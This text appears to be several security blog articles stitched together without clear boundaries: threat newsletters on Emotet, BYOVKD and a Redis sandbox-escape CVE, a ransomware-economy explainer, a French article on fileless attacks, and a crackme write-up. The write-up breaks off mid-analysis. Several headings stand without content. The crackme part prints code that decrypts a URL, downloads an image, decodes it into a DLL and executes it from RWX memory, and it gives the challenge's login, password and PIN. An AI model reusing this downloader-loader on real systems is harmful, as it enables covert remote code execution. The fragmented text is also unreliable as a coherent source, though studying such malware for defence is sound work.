BRING YOUR OWN VULNERABLE KERNEL DRIVER (BYOVKD)

Facing the EDR behavioral supervision, attacker develops techniques for successful attacks by staying under the radars. One of these techniques is called BYOVKD: Bring Your Own Vulnerable Kernel Driver.

Even if it does not raise an alert on the EDR console, the Defense team must be vigilant to any telemetry that would indicate the loading of an unusual driver on assets. Furthermore, prevention mechanisms exist for this type of case, some examples below:

• Block abuse of exploited vulnerable signed drivers
• Driver block rules

CERT-W: FROM THE FRONT LINE

THE FIRST RESPONDER WORD

READING OF THE MONTH

EMOTET

What is Emotet 2022?

Emotet is a Malware-as-a-Service (MaaS) relying on a botnet network which appeared in 2014. It was originally designed as a banking Trojan aiming to steal sensitive information related to bank accounts. In 2021, police forces arrested several people belonging to Emotet organization, which then reappeared with new features in 2022. The group behind Emotet seems to be opportunist and most of its victims are from US, UK, Japan, Germany, Italy, Spain, France, and Brazil.

Why is it dangerous?

Emotet is a polymorphic malware whose code changes over time. Among the numerous new features of the 2022 version, searchers from the DFIR Report have identified an ability to bypass anti-malware detection. To do that, Emotet 2022 uses a 64 bits base code and various signatures to avoid pattern recognition. The malware is also able to keep itself up to date once downloaded by using Command & Control servers, which send it updates the same as an Operating System. The MaaS is also able to release IcedID, which are modular banking Trojans able to drop other malwares. Doing so, Emotet helped to distribute ransomwares for impact, Cobalt Strike for initial access, XMRig for stealing wallet data…

How does Emotet 2022 initial infection work?

Using a phishing email with a malicious Office attachment, Emotet exploits a 2017 Microsoft vulnerability which allows remote code execution on vulnerable devices (CVE 2017-11882) to compromise its first victim.

Once downloaded in memory, the malware executes a sequence of legitimate Windows commands to perform a recognition of its environment, then spreads in the local network and steals information.

Emotet spreads through spam emails. According to Deep Instinct, 45% of them are containing malicious Office attachment such as Spreadsheets or scripts in most of the cases. As those emails traduce the object and attachments names in the target’s local language and come from known senders, the phishing looks particularly realistic.

Comprehensive look of EMOTET fall 2022

Why is this new version of the MaaS particularly tricky?

Emotet 2022 can identify whether it’s downloaded into a sandbox environment, or a device connected to a network. In the first configuration it won’t activate itself, but in the second it will rely on a password dictionary to spread thanks to brute-force.  Moreover, the November 2022 Excel files generally enclosed contains macros which no longer needs a user click to be authorized. The victim is only asked two things: copying the files into the Microsoft Office Template zone, which requires administrator privileges. Opening the file in this location will execute the macros without any warnings.

How to protect from Emotet 2022?

Since Emotet 2022 uses malicious spam and phishing is the most used technique for initial access, we highly advice you to consider these measures:

• Provide your company a solution against phishing.
• Launch an awareness campaign for employees and stakeholders.
• Provide you company an Endpoint Detection and Response which complete the anti-virus by performing behavioural analysis, which helps visualize the virus kill chain to identify the action levers.

Give a local administrator account to an employee only in case of specific need.

VULNERABILITY OF THE MONTH

DEBIAN-SPECIFIC REDIS SERVER LUA SANDBOX ESCAPE VULNERABILITY – CVE-2022-0543

Published by NVD: 18/02/2022

Products: Redis server for Debian and Debian-derived Linux distributions

Versions: less and equal to 5:5.0.14-1+deb10u2, 5:6.0.16-1+deb11u2, 5:7.0.5-1, 5:7.0.7-1

Score: 10 CRITICAL

Context  PoC

Redis is an opensource NoSQL database management system. Redis includes an embedded Lua scripting engine, it allows client to run scripts. By design, the Lua engine must be sandboxed: it means that packages and APIs available are limited in an execution context. Redis clients are not allowed to execute arbitrary code on the Redis server.

In some Debian and Debian-derived Linux packages, the Lua environment is not sufficiently regulated because the Lua Library is provided as a dynamic library. It can allow attackers to access arbitrary Lua functionalities and results in a Lua Sandbox escape.

Early December, reports indicate that attackers are exploiting this vulnerability to deploy a new backdoor malware dubbed Redigo on Redis Server. The malware communicates with a server of command and control using port 6379 which is a legitimate port used by Redis for communication between client and server: the Redis server joins a botnet network.

According to Aqua, the malware has some functions specially written to the Redis server which may imply that the group behind this desired to build an adjusted attack that would target Redis servers.

A successful attack implies that attacker could execute arbitrary commands and access to sensitive information.

A group of attackers is behind the Redigo malware which is an emerging threat. Furthermore, the exploit of the CVE-2022-0543 is public and is used in the wild to deploy the malware. Vulnerable Redis Server must be patched and up to date.

SEE YOU NEXT MONTH!!

Cet article CDT Watch – December 2022 est apparu en premier sur RiskInsight.

Bumblebee

SOURCES :

Bumblebee is still transforming, Proofpoint

[1] https://www.malware-traffic-analysis.net/2022/index.html

[2]https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/

CERT-W: FROM THE FRONT LINE

The First Responder Word

Reading Of The Month

We recommend the article of Robert Lemos, a darkreading contributing writer about firms which suffers identity-related breaches.

80% of firms suffered identity-related breaches in last 12 months, Robert Lemos

SEE YOU NEXT MONTH!!

Cet article CDT Watch – June 2022 est apparu en premier sur RiskInsight.

File Obfuscation

Discover Cobalt Strike capabilities with the technical zoom of the month:

To learn more about the given malwares:

Cobalt Strike Training videos

CERT-W: FROM THE FRONT LINE

The First Responder Word

We recommend the 2021 Benchmark on cybersecurity incidents which reviews the interventions of the CERT-W carried out between September 2020 and October 2021. This Benchmark provides keys to understanding the security issues and a snapshot of current cybersecurity threats in France.

CERT-W’s 2021 Benchmark on cybersecurity incidents

Reading Of The Month

To learn more about Conti, one of the most dangerous Ransomware, we recommend reading the Conti Ransomware Group In-Depth Analysis of Prodaft. According to Prodaft, this report will show you how the gang works with details obtained by their team who accessed Conti’s infrastructure.

Conti Ransomware Group In-Depth Analysis by Prodaft

Cet article CDT Watch – November 2021 est apparu en premier sur RiskInsight.

DECRYPTION

The underground economy of the ransomware

In recent years the products of the underground economy have evolved quickly. Cyber criminals now offer services for others to purchase, the most popular being: Ransomware-as-a-service (RaaS).

Let’s pretend you are a hacker aiming to launch a successful ransomware attack. Only, you are quite new to the business. What do you think you need? A very sophisticated level of coding and development skills? Not anymore. The whole underground economy of RaaS can provide you with every necessary element to conduct your attack, from the access credentials to the mixers helping you to launder your gains.

What do I need for my ransomware attack?

Need #1 – Enter my target’s network. In order to do so, you need to acquire access to the victim’s network: your first providers are the initial access brokers (IABs) or botmasters.

They are specialized in vulnerability exploit. They identify the flaws through massive phishing campaigns and/or scans and then access the system. Once inside, they set up remote persistent access to the target’s network. The botmasters then sell you the access: depending on its level of quality, prices can range from $1K to $100K (seen for a Mexican government body). The average price for network access in 2020 was $5,400. The botmaster’s services also include information on the financial health of the targeted victim, to help the attacker set the highest realistic price for the ransom

Need #2 – Anonymous infrastructure to host my hacking tools and store my data. The second actor of the chain is the bulletproof hoster, providing you with infrastructure-as-a-service, including anonymization services. The subscription can go from $5 per month to any price.

Need #3 – A ransomware to encrypt my victim’s files!

Now the main part: where can you find a ransomware? The most popular way is to subscribe to a RaaS platforms, offering 4 main services:

• Provide necessary information: potential victims, their financial status, security level…
• The ransomware: the malicious code and a tool kit to facilitate the attack
• Negotiation service (including support to collect the ransom)
• Money laundering service

Other services are offered, according to what you are ready to pay. Here is an example of different price subscriptions and services on a RaaS platform. It can go from $100 to $84,000 (Maze).

Where is the money going?

Need #4 – Clean my money! Once the attack is successful, the people in charge of the money laundering and money mules take the stage.

After a payment to the perpetrator’s wallet is made, money is then dispersed and mixed across numerous wallets, to provide anonymity. This bitcoin mixing through multiple other wallets makes the payment tracing quite difficult. In the Colonial Pipeline case, the wallet received the 75 BTC from them, mixed with 57 payments from 21 different wallets. However, this case has proven that the tracing is not insurmountable. No matter how many times the bitcoins are moved, ultimately it has to go through cryptocurrency trading platforms (such as BTC-E) and be cashed out at exchange points.

Recently, the situation involves global anti-money laundering (AML) regulators armed with blockchain sleuthing tools to trace and screen transactions, making the cash-out process harder to go unnoticed. To face this upgrade, cybercriminals can use a system described as “The Treasure Man”. You can find and hire them on darknet marketplaces (such as Hydra). They will cash-out your gains and hide them – physically – for you to pick up. “They bury it underground or hide it behind a bush, and they will tell you the coordinates. There is a whole profession” (Elliptic) 

Who are the people behind the RaaS platforms?

RaaS platforms are based on very organized and structured groups such as SMEs. REvil (one of the biggest RaaS) indicated having a team of 10 developers and systems admins, besides their project managers. To recruit the best experts, the platform’s leaders choose their employees after a challenging recruitment process. The candidates prove themselves through job interviews, hacking exercises and agree to an “ethical charter”. You can read here the undercover investigation of journalists who followed the process to be hired as hackers by a RaaS.

The subscribers or affiliates of a RaaS platform (in this story, that’s you) are “only” in charge of the intrusion, the data collect and the ransomware deployment on the victim network. The affiliates usually pocket between 60 and 80 % of the ransom, with the rest going into the operators’ coffers. The RaaS platform of Netwalker requires 20% of the ransom, but other groups can ask 70%. REvil recently announced being paid at least 100,000,000$ per year. 

No honor among thieves?

If the RaaS market is a very well-organized business model, it still is the underground economy we are talking about. It’s not because you are a potential RaaS client, that you are in a safe place.

The two years of research on the darknet of Håkon Melanda have shown that most of the RaaS items sold on the darknet markets are frauds, where the buyers either get rubbish or ransomware that redirects the whole payment somewhere else than the buyer’s wallet. If the authentic RaaS vendors are indeed taking the lion’s share in terms of gains, the others are not doing bad either by targeting naive cybercriminals. 

If the RaaS distribution process significantly facilitated the ransomware attack for more people, it does not mean it is accessible to every internet user. Not only employees of a RaaS platform need to have a strong resume to be hired, but the affiliates too have to prove their skills before being allowed to subscribe to a RaaS service. Well-established RaaS groups such as NetWalker are known to be rather picky and carefully check any new affiliate with interviews and a short trial period. The basic requirement for an affiliate candidate is – at least – to demonstrate experience in carrying out network intrusions and lateral movement.

Conclusion: The Circle of money

This very well-organized and profitable economic system yearns for one thing: to be even more profitable, like any business. To hire better experts, with better tools and launch more sophisticated attacks to collect more money. How can they develop themselves? Through the ransom paid by previous attacks. According to Ondrej Krehel studies, most of the largest ransomware gangs were launched with seed money from previous operations such as Darkside with Zloader. Moreover, as groups sought to diversify with new operations, members adopted a sort of venture capital structure, in which one team provides funds to help another build the infrastructure and tools needed to start its operations. The more ransom that is sent to the system, the more experts will be attracted by this profitable business, the more investors will fund it.

Besides, once a ransom is paid, the payer is identified as a “good client” by the market. Cybereasons studies indicated that 80% of organizations that paid the ransom after a ransomware attack were hit again. When a victim pays a ransom, it does not guarantee recovery of their system, but it is for sure the best way to fund a future attack, more sophisticated, against themselves.

CERT-W: FROM THE FRONT LINE

The CTI Word

FOCUS TECH

File Obfuscation

To learn more about the given malwares:

Reading Of The Month

Instead of a report, we recommend for the reading of the summer the interview of BlackMatter, who has his heart set on explaining how there are taking the best from REvil and DarkSide, their business model and their guidelines of victims’ target.

Cet article Newsletter CERT-W, from the front line – Summer 2021 est apparu en premier sur RiskInsight.

DECRYPTION

CYBER CRIMINAL NETWORK DISMANTELING

The last 6 months, large-scale coordinated international actions have dismantled several of the biggest cybercriminal networks such as Emotet, Netwalker, Egregor or even Cl0p. Let’s have a closer look at some of them.

What is Emotet?

Emotet was originally a banking trojan, stealing emails and contact list, retrieving passwords on navigators and systems, spreading within the infected network. In 2019, Emotet lost its banking module and became a dropper of malwares. The trojan used a botnet of 1.6 million machines  to realize phishing campaign and install itself on victims’ machines.

Why is Emotet called the “king of malware”?

At the end of 2020, Emotet was identified as one of the most dangerous malwares. Additionally, being a dropper as well as a botnet, Emotet also served as a front door to many other malwares. It was used to drop malicious payloads directly onto the victims’ assets: for example, TrickBot was dropped onto the targeted machine which in turn, would drop Ryuk or Conti ransomware. According to Checkpoint Research, Emotet was at the top of the Global Threat Index in October 2020 and was linked to a wave of ransomware attacks. According to CISA, the U.S. Cybersecurity & Infrastructure Security Agency, Emotet infections cost is estimated at $1 million per incident.

Main TA542’s customer base, “The Malware As a Service EMOTET”, ANSSI 2021

During several months, Europol used the help of Eurojust, France, Germany, United States of America and announced their successful dismantle of the Emotet network in January 2021.

Does this dismantling mean the end of the malware?

The end of one botnet actually led to the rise of several others, such as TrickBot, which even though existed since 2016, replaced Emotet as one of the most well-established MaaS (Malware as a Service) not long after the events on January.

This turn of events might not be so surprising, as threat actors often pivot and change their tools along the way, whether by choice or by necessity as it was the case here. Taking one malware down would only force them to use another one. Yet, what is interesting is that TrickBot also suffered a dismantlement of its own, back in October 2020. In an attempt to disrupt one of the most used distributors of ransomware, Microsoft joined forces with other security teams to take down TrickBot servers. As you may have noticed, this was months before law-enforcement took down Emotet, and now TrickBot or other versions of this malware, still lives on. These actions only disrupted TrickBot activities for a few days, before going back to what it was and even overtaking Emotet dominance.

Moreover, TrickBot seems to be somehow connected to the Bazar malware (BazarLoader and BazarBackdoor), as some part of its infrastructure is shared with TrickBot and both show code similarities. This new toolset is now the most seen malware used to deploy Ryuk ransomware instead of the previous Emotet-TrickBot-Ryuk or TrickBot-Ryuk chain of infection. These changes might have to do with the previously mentioned dismantlements, or due to a new collaboration between threat actors.

What about the people behind these groups?

More recently, on June 4th, Alla Witte was charged on multiple counts for participating in TrickBot criminal activities. Is this arrest, serving as a warning with several hundreds of years of prison if convicted, going to change cybercriminals’ operations? A few months before that, the Ukrainian authorities cooperated with the French law enforcement to conduct an arrest against Egregor members, while a Canadian tied to Netwalker ransomware was charged by the police for distributing the malware. Last year was also marked by several other arrests of cybercriminals around the world. For instance, the arrest of members of the Infinity Black website selling user credentials, lead to the end of the website and the group altogether. On the other hand, the arrests mentioned regarding Netwalker and Egregor seem to concern ransomware affiliates. And as the operators are still free and collaborate with other affiliates, their ransomware continues being deployed around the world. Alla Witte’s case is different since she is suspected to be a malware developer for the TrickBot Group. While her possible conviction might slightly disrupt TrickBot, it seems like their operations still go on, as according to the any.run website and its malware trend tracker, the trojan was last seen on June 16th, 2021. Last but not least, some mid-tier members of the Cl0p gang may have been arrested mid-June in Ukraine even though it seems no core actor behind Cl0p were apprehended.

What could be the long-term consequences of these takedown for the cybercriminal activities?

It’s still early to draw meaningful conclusions on the consequences for cybercriminal activities with the recent arrests. Yesterday, June 16th, at the Geneva summit, U.S. President Joe Biden met with Russian President Vladimir Putin. One of the hot topics of discussions was the ransomware attacks on U.S. entities from Russian soil. Biden warned Putin that United States would not tolerate any other cyber-attacks, especially on 16 critical sectors. The G7 and the NATO also stated that in order not to consider cyber-attacks as armed attacks, Russia should try to identify and disrupt ransomware organizations within its borders.

Even with the arrests of criminal gang members and cybersecurity talks at the presidential levels, some experts say there would be no or little impact on ransomware groups that will still operate with impunity. The near future will give hints about the possible evolution of the cyber-attacks landscape. On one hand, the rising of a broader international collaboration against cyber-criminal gangs which could lead to less opportunistic and lucrative attacks. On the other hand, growing tensions between two blocks: U.S.-Europe and Russia-China with possible sanctions from either side and more cyber espionage, supply-chain or state-sponsored attacks.

CERT-W: FROM THE FRONT LINE

The First Responder Word

FOCUS TECH

Phishing

Think like a cybercriminal and understand how a spear phishing campaign is built to avoid them!

The technical zoom of the month:

To learn more about this:

Reading Of The Month

We recommend the short report “APT trends report Q1 2021”, which reviews the highlight events and findings observed by the Global Research and Analysis Team at Kaspersky during the Q1 2021 around the world.

Cet article Newsletter CERT-W, from the front line – June 2021 est apparu en premier sur RiskInsight.

Tu quoque mi programme

Pour se faire une idée un peu plus détaillée et précise de cette menace, commençons par définir ce qu’est une fileless attack. Également nommée non-malware attack (attaque sans malware), zero-footprint attack (attaque sans empreinte) ou living-off-the-land attack (attaque hors sol), la particularité de ce type de menace est qu’elle n’impose pas à l’attaquant d’installer un programme sur la machine cible pour exécuter des actions malveillantes. En effet, le principe même de l’attaque est de détourner l’usage d’outils ou de programmes parfaitement licites et déjà installés sur les équipements informatiques à des fins, elles, illicites. Comment procèdent donc les attaquants pour arriver à leurs fins ?

Dans la majorité des cas, Pour établir cette tête de pont, ils utilisent la plupart du temps des techniques classiques de phishing ou spear-phishing. En effet, il est important de bien garder à l’esprit que la particularité de cette typologie d’attaque consiste dans la non-installation du programme malveillant chez la cible, ce qui ne préjuge pas de l’utilisation de fichiers à d’autres moments (comme lors d’un phishing). Alternativement, des attaques par force brute ou la mise à profit d’exploit permettant l’exécution de code à distance peuvent également permettre d’accéder à la machine cible et de perpétrer des attaques sans fichiers.

Quelle que soit la technique utilisée, l’objectif final est, comme on l’a vu, de détourner l’usage d’un programme légitime. La cible principale de ce « programme-jacking » est PowerShell (Windows Management Instrumentation étant également un bon client). Cet outil système, installé de manière native sur certaines machines tournant avec un système d’exploitation Windows, a la particularité de pouvoir exécuter des tâches instruites depuis la console de commande directement dans la mémoire vive de l’appareil. Dans certains cas, une simple macro bien construite sur un fichier Word malveillant, l’exploitation d’une faille de Flash ou la redirection vers un site malveillant suffit à invoquer PowerShell. Une fois celui-ci ouvert, il se connecte alors à un serveur de command & control et télécharge un script malveillant qui s’exécute donc depuis la mémoire vive et qui peut procéder à toute une variété d’actions, comme par exemple localiser et envoyer des données vers l’attaquant ou miner des crypto-monnaies. Des fileless attacks exploitant les vulnérabilités de Java (Java Process) sont également connues.

 Malware : le grand remplacement

Et il faut croire que cette typologie d’attaque est facile à mettre en œuvre si on jette un œil aux chiffres.  , pour 77% des entreprises reconnaissant avoir subi une attaque ayant réussi à compromettre le système d’information de l’entreprise, la technique utilisée est une fileless attack. Symantec a signalé en juillet dernier qu’entre le premier semestre 2017 et le premier semestre 2018, l’usage malveillant de PowerShell avait augmenté de 661%. Ainsi, Carbon Black a annoncé dans son rapport de menace 2017 que 97% de ses clients avaient subi une tentative de la sorte et que les attaques sans fichier utilisant des failles PowerShell ou WMI ont représenté au global 52% du total des attaques en 2017, dépassant pour la première fois de l’histoire les attaques classiques utilisant des malwares installés en dur sur la machine cible.

La raison principale de l’explosion de cette typologie de menaces trouve son origine dans la façon même qu’ont les organisations de se défendre. d’analyser de manière statique les signatures des fichiers sur le disque afin d’identifier les programmes illicites, et éventuellement de les exécuter dans des bacs à sables. La plupart de ces antivirus utilisent une fonctionnalité de l’OS pour être notifiés des nouvelles écritures sur le disque et ainsi déclencher un scan. Or, pas de fichier, pas de notification, et pas de notification, pas de scan. Les attaquants étant des personnes pragmatiques, ils ont simplement décidé de court-circuiter cette étape et de mettre ainsi en défaut l’ensemble des défenses basées sur ces anti-virus traditionnels fonctionnant par base de signatures, ces derniers devenant de plus en plus performants.

Les pirates de leur côté s’équipent afin de procéder plus facilement aux attaques en systématisant et simplifiant les manipulations à faire pour contourner ces anti-virus. Certains outils d’attaque actuels, comme Metasploit, facilitent les fileless attacks grâce à la construction de charges utiles malveillantes clefs en main à charger directement depuis Powershell.

Comment chasser un malware qui n’existe pas ?

Les méthodes de défense traditionnelles étant peu adaptées, il est nécessaire de repenser son approche. Si certaines menaces peuvent être stoppées simplement en redémarrant la machine (son arrêt stoppant les programmes actifs), les hackers ont trouvé la parade par l’installation d’un script dans le registry de Windows, entraînant la résurgence de la brèche au redémarrage par son exécution automatique avec le reste des scripts systèmes, eux légitimes. Si ce script est suffisamment court, il n’a même pas besoin d’être enregistré dans un fichier. Certaines attaques plus complexes peuvent demander l’enregistrement de leur script dans un fichier, ce qui en fait une catégorie hybride de fileless attack, où si un fichier est effectivement nécessaire, ça n’est toujours pas le malware en lui-même.

Depuis quelques années, le développement des solutions de type Endpoint Detection Response se trouve être au cœur de l’activité des éditeurs antivirus. Ces produits ne se limitent plus à la simple analyse de fichiers mais adoptent des techniques d’étude comportementale. L’idée derrière cette nouvelle façon de procéder est d’identifier les activations de programmes qui, individuellement, seraient légitimes mais dont l’exécution en parallèle ou séquentielle est suspicieuse. Par exemple, la consultation du web, l’utilisation d’une macro Microsoft Word ou l’exécution de PowerShell est légitime. En revanche, leur activation concomitante peut résulter d’un phishing réussi emmenant l’utilisateur sur un site web malveillant, déclenchant l’activation en cascade de PowerShell à travers une faille du premier. La solution antivirale peut donc réaliser qu’il ne s’agit pas d’une situation normale de fonctionnement et procéder aux actions de sécurité nécessaires.

Néanmoins, ces solutions étant basées sur des heuristiques, elles sont par définition faillibles. L’équilibre entre l’exhaustivité des détections et le nombre de faux positifs, entraînant potentiellement des incidents d’exploitation, est difficile à atteindre. Des solutions de plus en plus stables et performantes apparaissent néanmoins progressivement sur le marché, et permettent de lutter contre cette menace grandissante de manière efficace, pour peu que les terminaux utilisateurs en soient équipés.

Cet article Fileless attack : Le retour à la terre est apparu en premier sur RiskInsight.

This document describes the solving step of the challenge.

Lightweight analysis of “mb_crackme_2.exe”

Output of Exeinfo PE

Looking for printable strings in the binary already gives us some hints about the executable’s nature:

$ strings -n 10 mb_crackme_2.exe_
[...]
pyi-windows-manifest-filename
[...]
Py_IgnoreEnvironmentFlag
Failed to get address for Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Failed to get address for Py_NoSiteFlag
Py_NoUserSiteDirectory
[...]
mpyimod01_os_path
mpyimod02_archive
mpyimod03_importers
spyiboot01_bootstrap
spyi_rth__tkinter
bCrypto.Cipher._AES.pyd
bCrypto.Hash._SHA256.pyd
bCrypto.Random.OSRNG.winrandom.pyd
bCrypto.Util._counter.pyd
bMicrosoft.VC90.CRT.manifest
bPIL._imaging.pyd
bPIL._imagingtk.pyd
[...]
opyi-windows-manifest-filename another.exe.manifest
[...]
zout00-PYZ.pyz
python27.dll

Many references to Python libraries, PYZ archives and “pyi” substring indicates the use of the PyInstaller utility to build a PE executable from a Python script.

Basic dynamic information gathering

Running the executable (in a sandboxed environment) gives us the following message:

Using Process Monitor, from SysInternals Tools Suite , allows us to quickly get a glimpse of the actions performed by the executable:

A temporary directory named “_MEI5282” is created under user’s “%temp%” directory, and filled with Python-related resources. In particular, “python27.dll” and “*.pyd” libraries are written and later loaded by the executable.

This behavior is typical of executables generated by PyInstaller.

Error-handling analysis

Without tools, it is often possible to quickly get information about a binary’s internals by testing its error handling. For example, inserting an EOF (End-Of-File) signal in the terminal (“Ctrl+Z + Return” on Windows Command Prompt) makes the program crash, printing the following information:

Python stack trace printed after a crash

This allows us to identify the presence of a Python program embedded inside the executable and gives us the name of the main script: another.py. The error message “[$PID] Failed to execute script $scriptName” is typical of PyInstaller-produced programs.

Python files extraction and decompilation

Every lightweight analysis presented previously points out that the executable has been built using PyInstaller.
The PyInstaller Extractor  program can be used to extract python-compiled resources from the executable.

$ python pyinstxtractor.py mb_crackme_2.exe
[*] Processing mb_crackme_2.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 8531014 bytes
[*] Found 931 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth__tkinter
[+] Possible entry point: another
[*] Found 440 files in PYZ archive
[*] Successfully extracted pyinstaller archive: mb_crackme_2.exe

You can now use a python decompiler on the pyc files within the extracted directory

 

As previously seen, the most interesting file is “another”, as it should contain the “main” function.

Files extracted by PyInstaller Extractor

 

A quick Internet search  informs us that in a PYZ archive, the main file is in fact a *.pyc file (Python bytecode) from which the first 8 bytes, containing its signature, have been removed. Looking the hex dump of another *.pyc file of the archive confirms this statement and gives us the correct signature for Python 2.7 bytecode files (in purple).

$ hexdump -C another | head -n 3
00000000  63 00 00 00 00 00 00 00  00 03 00 00 00 40 00 00  |c............@..|
00000010  00 73 03 02 00 00 64 00  00 5a 00 00 64 01 00 5a  |.s....d..Z..d..Z|
00000020  01 00 64 02 00 5a 02 00  64 03 00 64 04 00 6c 03  |..d..Z..d..d..l.|
$ hexdump -C out00-PYZ.pyz_extracted/cmd.pyc | head -n 3
00000000  03 f3 0d 0a 00 00 00 00  63 00 00 00 00 00 00 00  |.ó......c.......|
00000010  00 03 00 00 00 40 00 00  00 73 4c 00 00 00 64 00  |.....@...sL...d.|
00000020  00 5a 00 00 64 01 00 64  02 00 6c 01 00 5a 01 00  |.Z..d..d..l..Z..|

Restoring the file’s signature produces a correct Python bytecode file.

$ cat <(printf "\x03\xf3\x0d\x0a\x00\x00\x00\x00") another > another.pyc
$ file another.pyc
another.pyc: python 2.7 byte-compiled

Using the uncompyle6  decompilation tool, we can easily recover the original source code of another.py.

$ uncompyle6 another.pyc > another.py

Stage 1: login

Looking at the main() function of another.py, we see that the first operations are performed by the stage1_login() function.

def main():
    key = stage1_login()
    if not check_if_next(key):
        return
    else:
        content = decode_and_fetch_url(key)
        if content is None:
            print 'Could not fetch the content'
            return -1
        decdata = get_encoded_data(content)
        if not is_valid_payl(decdata):
            return -3
        print colorama.Style.BRIGHT + colorama.Fore.CYAN
        print 'Level #2: Find the secret console...'
        print colorama.Style.RESET_ALL
        #load_level2(decdata, len(decdata))
        dump_shellcode(decdata, len(decdata))
        user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
        try:
            if decode_pasted() == True:
                user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag
and send it to Malwarebytes!''', 'You solved it!', 0)
                return 0
            user32_dll.MessageBoxA(None, 'See you later!', 'Game over', 0)
        except:
            print 'Error decoding the flag'
        return

def stage1_login():
    show_banner()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print 'Level #1: log in to the system!'
    print colorama.Style.RESET_ALL
    login = raw_input('login: ')
    password = getpass.getpass()
    if not (check_login(login) and check_password(password)):
        print 'Login failed. Wrong combination username/password'
        return None
    else:
        PIN = raw_input('PIN: ')
        try:
            key = get_url_key(int(PIN))
        except:
            print 'Login failed. The PIN is incorrect'
            return None
        if not check_key(key):
            print 'Login failed. The PIN is incorrect'
            return None
        return key

Three user inputs are successively checked: the user’s login, password and PIN code.

Finding the login

The check_login() function’s code is completely transparent :

def check_login(login):
    if login == 'hackerman':
        return True
    return False

We have found the login, let’s search for the password.

Expected login

Finding the password

The check_password() function hashes user’s input using the MD5 hash function, and compares the result with an hardcoded string:

def check_password(password):
    my_md5 = hashlib.md5(password).hexdigest()
    if my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
        return True
    return False

A quick Internet search of this string gives us the corresponding cleartext password: Password123.

Finding the PIN code

The PIN code is read from standard input, converted into an integer (cf. stage1_login() function), and passed to the get_url_key() function:

def get_url_key(my_seed):
    random.seed(my_seed)
    key = ‘’
    for I in xrange(0, 32):
        id = random.randint(0, 9)
        key += str(id)
    return key

This function derives a pseudo-random 32 digits key from the PIN code, using it as a seed for Python’s PRNG. The generated key is then verified using the check_key() function, where its MD5 sum is checked against another hardcoded value.

def check_key(key):
    my_md5 = hashlib.md5(key).hexdigest()
    if my_md5 == 'fb4b322c518e9f6a52af906e32aee955':
        return True
    return False

The key space is obviously too large to be brute-forced, as a 32-digits string corresponds to 10^32 (~2^106) possible combinations. However, we can brute-force the PIN code, being an integer, using the following code:

from another import get_url_key, check_key
PIN = 0
while True:
    key = get_url_key(PIN)
    if check_key(key):
        print PIN
        break
    PIN += 1

The solution is obtained in a few milliseconds:

$ python bruteforcePIN.py
9667

Testing credentials

Using the credentials found in the previous step completes the first stage of the challenge.

Clicking “Yes” makes the executable pause after printing the following message in the console:

Let’s find that secret console!

Stage 2: the secret console

Payload download and decoding

Continuing our analysis of the main() function, the next function to be called after credentials verification is decode_and_fetch_url(), with the previously calculated 32-digits key given as argument:

def decode_and_fetch_url(key):
    try:
        encrypted_url = '\xa6\xfa\x8fO\xba\x7f\x9d\[...]\xfe'
        aes = AESCipher(bytearray(key))
        output = aes.decrypt(encrypted_url)
        full_url = output
        content = fetch_url(full_url)
    except:
        return None
    return content

A URL is decrypted using an AES cipher and the 32-digits key. The resource at this URL is then downloaded and its content returned by the function.
To get the decrypted URL, we simply add some logging instructions to the original code of another.py, which can be run independently of mb_crackme_2.exe (given that the required dependencies are present on our machine).

[...]
        full_url = output
        print "DEBUG : URL fetched is : %s " % full_url #added from original code
        content = fetch_url(full_url)
[...]

The result execution is the following:

login: hackerman
Password:
PIN: 9667
DEBUG : URL fetched is : https://i.imgur.com/dTHXed7.png

The decrypted URL hosts the PNG image displayed bellow:

The “malware” then reads the Red, Green and Blue components of each of the image’s pixels, interprets them as bytes and constructs a buffer from their concatenation.

def get_encoded_data(bytes):
    imo = Image.open(io.BytesIO(bytes))
    rawdata = list(imo.getdata())
    tsdata = ''
    for x in rawdata:
        for z in x:
            tsdata += chr(z)
    del rawdata
    return tsdata

This technique is sometimes used by real malware to download malicious code without raising suspicion of traffic-analysis tools, hiding the real nature of the downloaded resource.
Using the “Extract data…” function of the Stegsolve tool  allows to quickly preview the data encoded in the image, which appears to be a PE file (and more specifically, a DLL):

The function is_valid_payl() is then used to check whether the decoded payload is correct:

def is_valid_payl(content):
    if get_word(content) != 23117:
        return False
    next_offset = get_dword(content[60:])
    next_hdr = content[next_offset:]
    if get_dword(next_hdr) != 17744:
        return False
    return True

The 23117 and 17744 constants represent the “MZ” and “PE” magic bytes present in the headers of a PE.

>>> import struct
>>> struct.pack("<H", 23117)
'MZ'
>>> struct.pack("<H", 17744)
'PE'

The decoded file is then passed to the load_level2() function, which is a wrapper around prepare_stage().

def load_level2(rawbytes, bytesread):
    try:
        if prepare_stage(rawbytes, bytesread):
            return True
    except:
        return False

def prepare_stage(content, content_size):
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    if virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    if res == 0:
        return False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    return True

This function starts by allocating enough space to store the downloaded code, using the VirtualAlloc API function call. The allocated space is readable, writable and executable, as the provided arguments reveal (12288 being equal to “MEM_COMMIT | MEM_RESERVE”, and 64 to PAGE_EXECUTE_READWRITE).
The downloaded code is then written in the allocated space using the memmove function, and executed like a shellcode from offset 2.

To get a clean dump of the downloaded code (once decrypted), we add a piece of code in the prepare_stage() function, as follows:

def prepare_stage(content, content_size):
    with open("dumped_pe.dll", "wb") as f:
        f.write(content[:content_size])
        print "DEBUG : File dumped in dumped_pe.dll"
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    if virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    if res == 0:
        return False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    return True

After re-executing the program, we observe that the obtained file is indeed a valid 32 bits Windows DLL:

$ file dumped_pe.dll
dumped_file.ext: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Time for us to open our favorite disassembler !

Downloaded DLL’s reverse-engineering

Reflective loading
